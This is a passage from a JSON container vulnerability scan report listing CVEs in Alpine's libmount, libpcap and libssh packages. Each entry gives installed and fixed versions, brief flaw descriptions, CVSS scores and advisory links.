"https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj", "https://linux.oracle.com/cve/CVE-2026-78408.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-78408", "https://www.cve.org/CVERecord?id=CVE-2026-78408" ], "PublishedDate": "2026-09-02T16:17:23.687Z", "LastModifiedDate": "2026-11-05T03:17:32.977Z" }, { "VulnerabilityID": "CVE-2026-78409", "PkgID": "libmount@2.42.1-r0", "PkgName": "libmount", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libmount@2.42.1-r0?arch=x86_64\u0026distro=3.24.1", "UID": "c798f816f67f2112" }, "InstalledVersion": "2.42.1-r0", "FixedVersion": "2.42.3-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78409", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:5db91bb37e0cf8b989b753ea5b75121c906b1bfe82c53d6c6333cc524b1d1e3f", "Title": "util-linux: util-linux: X-mount.subdir detached-tree resolution can escape via intermediate symlinks", "Description": "The X-mount.subdir option uses a detached-tree fast path on Linux 6.15 and later and passes the configured subdirectory to open_tree() with AT_SYMLINK_NOFOLLOW. That flag does not stop intermediate symlink traversal or keep resolution inside the newly mounted filesystem. A local unprivileged user with an fstab-authorized X-mount.subdir entry can attach a host path at the intended mountpoint.", "Severity": "HIGH", "CweIDs": [ "CWE-59" ], "VendorSeverity": { "redhat": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/security/cve/CVE-2026-78409", "https://bugzilla.redhat.com/show_bug.cgi?id=2522607", "https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv", "https://nvd.nist.gov/vuln/detail/CVE-2026-78409", "https://www.cve.org/CVERecord?id=CVE-2026-78409" ], "PublishedDate": "2026-09-02T16:17:23.833Z", "LastModifiedDate": "2026-11-05T00:17:28.61Z" }, { "VulnerabilityID": "CVE-2026-78410", "PkgID": "libmount@2.42.1-r0", "PkgName": "libmount", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libmount@2.42.1-r0?arch=x86_64\u0026distro=3.24.1", "UID": "c798f816f67f2112" }, "InstalledVersion": "2.42.1-r0", "FixedVersion": "2.42.3-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78410", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:3ce66123d02c18f4dc7aa92a7795c38148f7c0cc1aa18c57e52c99492ef6ad6b", "Title": "util-linux: util-linux: restricted bind mounts do not pin the source, allowing X-mount.owner/group/mode redirection", "Description": "A flaw was found in util-linux. Restricted bind mounts take the source path from fstab but do not pin that source before the privileged mount. A local unprivileged user who can replace the authorized source or a writable ancestor can redirect SUID mount(8) to bind another host directory. If the fstab entry also sets X-mount.owner, X-mount.group, or X-mount.mode, root then changes ownership or mode on that redirected inode.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/errata/RHSA-2026:95365", "https://access.redhat.com/security/cve/CVE-2026-78410", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m", "https://linux.oracle.com/cve/CVE-2026-78410.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-78410", "https://www.cve.org/CVERecord?id=CVE-2026-78410" ], "PublishedDate": "2026-09-02T16:17:23.983Z", "LastModifiedDate": "2026-11-05T03:17:33.15Z" }, { "VulnerabilityID": "CVE-2026-0799", "PkgID": "libpcap@1.10.6-r1", "PkgName": "libpcap", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libpcap@1.10.6-r1?arch=x86_64\u0026distro=3.24.1", "UID": "50243eb62e8dbc30" }, "InstalledVersion": "1.10.6-r1", "FixedVersion": "1.10.7-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-0799", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:0df0a5f9a690b253be21d7f7b45740e3aa6f6213e157b8cb6ae161e0900fff64", "Title": "libpcap: libpcap: Out-of-bounds read and write vulnerability allows arbitrary memory access", "Description": "In BPF instructions that load/store a value from/to a scratch memory register the register index is an unsigned 32-bit integer and must not exceed 15, but libpcap BPF interpreter does not validate the value. In particular uncommon use cases a crafted filter program can cause the interpreter to try reading and writing the OS process memory in the 16GiB starting at the current stack frame on 64-bit architectures and in the entire address space on 32-bit architectures.", "Severity": "HIGH", "CweIDs": [ "CWE-125", "CWE-129", "CWE-787" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:H", "V3Score": 8.7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:74441", "https://access.redhat.com/security/cve/CVE-2026-0799", "https://bugzilla.redhat.com/2529093", "https://bugzilla.redhat.com/show_bug.cgi?id=2529093", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-0799", "https://errata.almalinux.org/9/ALSA-2026-74441.html", "https://errata.rockylinux.org/RLSA-2026:74441", "https://github.com/the-tcpdump-group/libpcap/commit/48e8960a7108e9e828f9d7bdc7e97bdab841aec7", "https://linux.oracle.com/cve/CVE-2026-0799.html", "https://linux.oracle.com/errata/ELSA-2026-76045.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-0799", "https://ubuntu.com/security/notices/USN-8824-1", "https://www.cve.org/CVERecord?id=CVE-2026-0799" ], "PublishedDate": "2026-09-05T19:16:55.32Z", "LastModifiedDate": "2026-09-08T19:20:25.117Z" }, { "VulnerabilityID": "CVE-2026-6554", "PkgID": "libpcap@1.10.6-r1", "PkgName": "libpcap", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libpcap@1.10.6-r1?arch=x86_64\u0026distro=3.24.1", "UID": "50243eb62e8dbc30" }, "InstalledVersion": "1.10.6-r1", "FixedVersion": "1.10.7-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-6554", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:f26a4ef44ca1d37a2e653bc092c0930ad52b6d119b8ea2bebfd567f912745a20", "Title": "libpcap: libpcap: Denial of Service via infinite loop in BPF interpreter", "Description": "libpcap BPF interpreter treats the offset in the 'ja L' BPF instruction as a signed integer to implement looping via backward jumps, but it does not limit the number of loop iterations. A crafted filter program or the 'protochain' primitive used on a crafted network packet can cause the interpreter to loop infinitely.", "Severity": "HIGH", "CweIDs": [ "CWE-835" ], "VendorSeverity": { "amazon": 3, "azure": 2, "redhat": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/10/22/3", "https://access.redhat.com/security/cve/CVE-2026-6554", "https://github.com/the-tcpdump-group/libpcap/commit/ff3c83475ac303c6b681c52ad0b6e14795a8e0ce", "https://nvd.nist.gov/vuln/detail/CVE-2026-6554", "https://www.cve.org/CVERecord?id=CVE-2026-6554" ], "PublishedDate": "2026-09-05T19:16:56.067Z", "LastModifiedDate": "2026-10-22T21:17:21.727Z" }, { "VulnerabilityID": "CVE-2026-15370", "PkgID": "libssh@0.12.0-r0", "PkgName": "libssh", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libssh@0.12.0-r0?arch=x86_64\u0026distro=3.24.1", "UID": "831593c62bd18408" }, "InstalledVersion": "0.12.0-r0", "FixedVersion": "0.12.1-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-15370", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:ee1a58f43ce467b489a150fcb71bba1889e9e9a4249d2b242a2bdb447f095ab2", "Title": "libssh: libssh: stack buffer overflow in SFTP server longname construction", "Description": "A flaw was found in libssh. During SFTP server directory listing, the longname field is constructed with unsafe concatenation into a fixed-size stack buffer. When a client causes the server to list attacker-controlled filenames, sufficiently long names can overflow that stack buffer and may lead to crashes or possible code execution on the server.", "Severity": "HIGH", "CweIDs": [ "CWE-121" ], "VendorSeverity": { "alma": 3, "nvd": 3, "oracle-oval": 3, "redhat": 2, "rocky": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.3 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H", "V3Score": 6.7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:47768", "https://access.redhat.com/errata/RHSA-2026:55855", "https://access.redhat.com/security/cve/CVE-2026-15370", "https://bugzilla.redhat.com/2498168", "https://bugzilla.redhat.com/2498176", "https://bugzilla.redhat.com/2498177", "https://bugzilla.redhat.com/2498178", "https://bugzilla.redhat.com/2498179", "https://bugzilla.redhat.com/2498180", "https://bugzilla.redhat.com/2498181", "https://bugzilla.redhat.com/2498182", "https://bugzilla.redhat.com/2498183", "https://bugzilla.redhat.com/2498184", "https://bugzilla.redhat.com/2499049", "https://bugzilla.redhat.com/show_bug.cgi?id=2498168", "https://bugzilla.redhat.com/show_bug.cgi?id=2498176", "https://bugzilla.redhat.com/show_bug.cgi?id=2498177", "https://bugzilla.redhat.com/show_bug.cgi?id=2498178", "https://bugzilla.redhat.com/show_bug.cgi?id=2498179", "https://bugzilla.redhat.com/show_bug.cgi?id=2498180", "https://bugzilla.redhat.com/show_bug.cgi?id=2498181", "https://bugzilla.redhat.com/show_bug.cgi?id=2498182", "https://bugzilla.redhat.com/show_bug.cgi?id=2498183", "https://bugzilla.redhat.com/show_bug.cgi?id=2498184", "https://bugzilla.redhat.com/show_bug.cgi?id=2499049", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15370", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-59842", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-59843", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-59844", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-59845", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-59846", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-59847", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-59848", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-59849", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-59850", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-59851", "https://errata.almalinux.org/10/ALSA-2026-55855.html", "https://errata.rockylinux.org/RLSA-2026:55855", "https://linux.oracle.com/cve/CVE-2026-15370.html", "https://linux.oracle.com/errata/ELSA-2026-55855.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-15370", "https://ubuntu.com/security/notices/USN-8699-1", "https://www.cve.org/CVERecord?id=CVE-2026-15370", "https://www.libssh.org/2026/07/21/libssh-0-12-1-and-0-11-5-security-releases/", "https://www.libssh.org/security/advisories/CVE-2026-15370.txt" ], "PublishedDate": "2026-07-21T09:16:53.683Z", "LastModifiedDate": "2026-11-05T17:18:08.9Z" }, { "VulnerabilityID": "CVE-2026-59847", "PkgID": "libssh@0.12.0-r0", "PkgName": "libssh", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libssh@0.12.0-r0?arch=x86_64\u0026distro=3.24.1", "UID": "831593c62bd18408" }, "InstalledVersion": "0.12.0-r0", "FixedVersion": "0.12.1-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-59847", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:18f3e11b30294ca24474af4602f2b1fe031800154d927ba794e4530286bc6a4b", "Title": "libssh: libssh: integrity downgrade via OpenSSL AES-GCM tag verification", "Description": "A flaw was found in libssh. Incorrect AES-GCM finalization checks in builds using the OpenSSL backend can effectively remove integrity protection, allowing an in-path attacker to modify plaintext on the wire without detection.", "Severity": "HIGH", "CweIDs": [ "CWE-253", "CWE-1310" ], "VendorSeverity": { "alma": 2, "amazon": 2, "azure": 2, "nvd": 3, "oracle-oval": 2, "redhat": 2, "rocky": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "V3Score": 5.9 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:42922", "https://access.redhat.com/errata/RHSA-2026:55855", "https://access.redhat.com/errata/RHSA-2026:62217", "https://access.redhat.com/errata/RHSA-2026:62218", "https://access.redhat.com/security/cve/CVE-2026-59847", "https://bugzilla.redhat.com/2498176", "https://bugzilla.redhat.com/2498177", "https://bugzilla.redhat.com/2498178", "https://bugzilla.redhat.com/2498179", "https://bugzilla.redhat.com/2498180", "https://bugzilla.redhat.com/2498181", "https://bugzilla.redhat.com/2498183", "https://bugzilla.redhat.com/show_bug.cgi?id=2498176", "https://bugzilla.redhat.com/show_bug.cgi?id=2498177", "https://bugzilla.redhat.com/show_bug.cgi?id=2498178", "https://bugzilla.redhat.com/show_bug.cgi?id=2498179", "https://bugzilla.redhat.com/show_bug.cgi?id=2498180", "https://bugzilla.redhat.com/show_bug.cgi?id=2498181", "https://bugzilla.redhat.com/show_bug.cgi?id=2498183", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-59843", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-59844", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-59845", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-59846", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-59847", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-59848", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-59850", "https://errata.almalinux.org/9/ALSA-2026-62217.html", "https://errata.rockylinux.org/RLSA-2026:62217", "https://linux.oracle.com/cve/CVE-2026-59847.html", "https://linux.oracle.com/errata/ELSA-2026-62218-0.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-59847", "https://ubuntu.com/security/notices/USN-8699-1", "https://www.cve.org/CVERecord?id=CVE-2026-59847", "https://www.libssh.org/2026/07/21/libssh-0-12-1-and-0-11-5-security-releases/", "https://www.libssh.org/security/advisories/CVE-2026-59847.txt" ], "PublishedDate": "2026-07-21T14:16:34.657Z", "LastModifiedDate": "2026-09-04T19:23:04.51Z" }, { "VulnerabilityID": "CVE-2026-59849", "PkgID": "libssh@0.12.0-r0", "PkgName": "libssh", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libssh@0.12.0-r0?arch=x86_64\u0026distro=3.24.1", "UID": "831593c62bd18408" }, "InstalledVersion": "0.12.0-r0", "FixedVersion": "0.12.1-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-59849", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:e59cd53a3b61344be131f4d0af90173e10bf5beebdaf9f1fdb84c68727e5e8d8", "Title": "libssh: libssh: denial of service via automatic certificate authentication loop", "Description": "A flaw was found in libssh. Logic errors in automatic certificate-based public key authentication can cause libssh clients to loop indefinitely when configured certificates are missing or repeatedly rejected by a server, leading to denial of service.", "Severity": "HIGH", "CweIDs": [ "CWE-835" ], "VendorSeverity": { "alma": 3, "nvd": 3, "oracle-oval": 3, "redhat": 1, "rocky": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L", "V3Score": 3.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:42922", "https://access.redhat.com/errata/RHSA-2026:55855", "https://access.redhat.com/security/cve/CVE-2026-59849", "https://bugzilla.redhat.com/2498168", "https://bugzilla.redhat.com/2498176", "https://bugzilla.redhat.com/2498177", "https://bugzilla.redhat.com/2498178", "https://bugzilla.redhat.com/2498179", "https://bugzilla.redhat.com/2498180", "https://bugzilla.redhat.com/2498181", "https://bugzilla.redhat.com/2498182", "https://bugzilla.redhat.com/2498183", "https://bugzilla.redhat.com/2498184", "https://bugzilla.redhat.com/2499049", "https://bugzilla.redhat.com/show_bug.cgi?id=2498168", "https://bugzilla.redhat.com/show_bug.cgi?id=2498176", "https://bugzilla.redhat.com/show_bug.cgi?id=2498177", "https://bugzilla.redhat.com/show_bug.cgi?id=2498178", "https://bugzilla.redhat.com/show_bug.cgi?id=2498179", "https://bugzilla.redhat.com/show_bug.cgi?id=2498180", "https://bugzilla.redhat.com/show_bug.cgi?id=2498181", "https://bugzilla.redhat.com/show_bug.cgi?id=2498182", "https://bugzilla.redhat.com/show_bug.cgi?id=2498183", "https://bugzilla.redhat.com/show_bug.cgi?id=2498184", "https://bugzilla.redhat.com/show_bug.cgi?id=2499049", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15370", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-59842", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-59843", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-59844", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-59845", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-59846", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-59847", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-59848", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-59849", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-59850", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-59851", "https://errata.almalinux.org/10/ALSA-2026-55855.html", "https://errata.rockylinux.org/RLSA-2026:55855", "https://linux.oracle.com/cve/CVE-2026-59849.html", "https://linux.oracle.com/errata/ELSA-2026-55855.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-59849", "https://ubuntu.com/security/notices/USN-8699-1", "https://www.cve.org/CVERecord?id=CVE-2026-59849", "https://www.libssh.org/2026/07/21/libssh-0-12-1-and-0-11-5-security-releases/", "https://www.libssh.org/security/advisories/CVE-2026-59849.txt" ], "PublishedDate": "2026-07-21T15:16:37.647Z", "LastModifiedDate": "2026-11-06T20:17:23.7Z" }, { "VulnerabilityID": "CVE-2026-59850", "PkgID": "libssh@0.12.0-r0", "PkgName": "libssh", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libssh@0.12.0-r0?arch=x86_64\u0026distro=3.24.1", "UID": "831593c62bd18408" }, "InstalledVersion": "0.12.0-r0", "FixedVersion": "0.12.1-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-59850", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:0cdbf6f56e1c42e11b57b939ddab0a7fb3a5292f7710a721bcb50b49b769c799", "Title": "libssh: libssh: use-after-free via data callbacks on closed channels", "Description": "A flaw was found in libssh. If data packets are processed after a channel is closed, channel data callbacks can be invoked after the associated data has already been freed, leading to crashes or possible use-after-free conditions.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 2, "amazon": 2, "azure": 2, "nvd": 3, "oracle-oval": 2, "redhat": 2, "rocky": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L", "V3Score": 4.3 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:42922", "https://access.redhat.com/errata/RHSA-2026:55855", "https://access.redhat.com/errata/RHSA-2026:62217", "https://access.redhat.com/errata/RHSA-2026:62218", "https://access.redhat.com/security/cve/CVE-2026-59850", "https://bugzilla.redhat.com/2498176", "https://bugzilla.redhat.com/2498177", "https://bugzilla.redhat.com/2498178", "https://bugzilla.redhat.com/2498179", "https://bugzilla.redhat.com/2498180", "https://bugzilla.redhat.com/2498181", "https://bugzilla.redhat.com/2498183", "https://bugzilla.redhat.com/show_bug.cgi?id=2498176", "https://bugzilla.redhat.com/show_bug.cgi?id=2498177", "https://bugzilla.redhat.com/show_bug.cgi?id=2498178", "https://bugzilla.redhat.com/show_bug.cgi?id=2498179", "https://bugzilla.redhat.com/show_bug.cgi?id=2498180", "https://bugzilla.redhat.com/show_bug.cgi?id=2498181", "https://bugzilla.redhat.com/show_bug.cgi?id=2498183", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-59843", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-59844", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-59845", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-59846", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-59847", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-59848", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-59850", "https://errata.almalinux.org/9/ALSA-2026-62217.html", "https://errata.rockylinux.org/RLSA-2026:62217", "https://linux.oracle.com/cve/CVE-2026-59850.html", "https://linux.oracle.com/errata/ELSA-2026-62218-0.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-59850", "https://ubuntu.com/security/notices/USN-8699-1", "https://www.cve.org/CVERecord?id=CVE-2026-59850", "https://www.libssh.org/2026/07/21/libssh-0-12-1-and-0-11-5-security-releases/", "https://www.libssh.org/security/advisories/CVE-2026-59850.txt" ], "PublishedDate": "2026-07-21T15:16:37.773Z", "LastModifiedDate": "2026-09-01T21:18:35.143Z" }, { "VulnerabilityID": "CVE-2026-59851", "PkgID": "libssh@0.12.0-r0", "PkgName": "libssh", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libssh@0.12.0-r0?arch=x86_64\u0026distro=3.24.1", "UID": "831593c62bd18408" }, "InstalledVersion": "0.12.0-r0", "FixedVersion": "0.12.1-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-59851", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:b7e81bd50e032863da6849b585d89c42f41418f8dd4ad293f93b7296ccaf6793", "Title": "libssh: libssh: authentication bypass via missing GSSAPI principal check", "Description": "A flaw was found in libssh. On servers with GSSAPIKeyExchange enabled, the gssapi-keyex path does not verify whether the authenticated Kerberos principal is authorized for the requested local user, allowing authenticated clients to log in as arbitrary users.", "Severity": "HIGH", "CweIDs": [ "CWE-863" ], "VendorSeverity": { "alma": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:42922", "https://access.redhat.com/errata/RHSA-2026:55855", "https://access.redhat.com/security/cve/CVE-2026-59851", "https://bugzilla.redhat.com/2498168", "https://bugzilla.redhat.com/2498176", "https://bugzilla.redhat.com/2498177", "https://bugzilla.redhat.com/2498178", "https://bugzilla.redhat.com/2498179", "https://bugzilla.redhat.com/2498180", "https://bugzilla.redhat.com/2498181", "https://bugzilla.redhat.com/2498182", "https://bugzilla.redhat.com/2498183", "https://bugzilla.redhat.com/2498184", "https://bugzilla.redhat.com/2499049", "https://bugzilla.redhat.com/show_bug.cgi?id=2498168", "https://bugzilla.redhat.com/show_bug.cgi?id=2498176", "https://bugzilla.redhat.com/show_bug.cgi?id=2498177", "https://bugzilla.redhat.com/show_bug.cgi?id=2498178", "https://bugzilla.redhat.com/show_bug.cgi?id=2498179", "https://bugzilla.redhat.com/show_bug.cgi?id=2498180", "https://bugzilla.redhat.com/show_bug.cgi?id=2498181", "https://bugzilla.redhat.com/show_bug.cgi?id=2498182", "https://bugzilla.redhat.com/show_bug.cgi?id=2498183", "https://bugzilla.redhat.com/show_bug.cgi?id=2498184", "https://bugzilla.redhat.com/show_bug.cgi?id=2499049", 